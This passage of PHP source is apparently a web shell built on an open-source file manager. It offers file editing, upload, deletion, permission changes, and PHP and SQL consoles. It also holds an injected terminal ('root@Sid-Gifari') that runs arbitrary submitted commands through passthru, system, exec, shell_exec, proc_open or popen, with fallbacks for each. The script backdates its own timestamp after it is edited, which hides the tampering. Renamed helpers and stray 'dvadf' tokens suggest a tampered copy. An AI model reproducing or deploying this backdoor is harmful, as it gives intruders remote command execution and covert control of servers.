	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
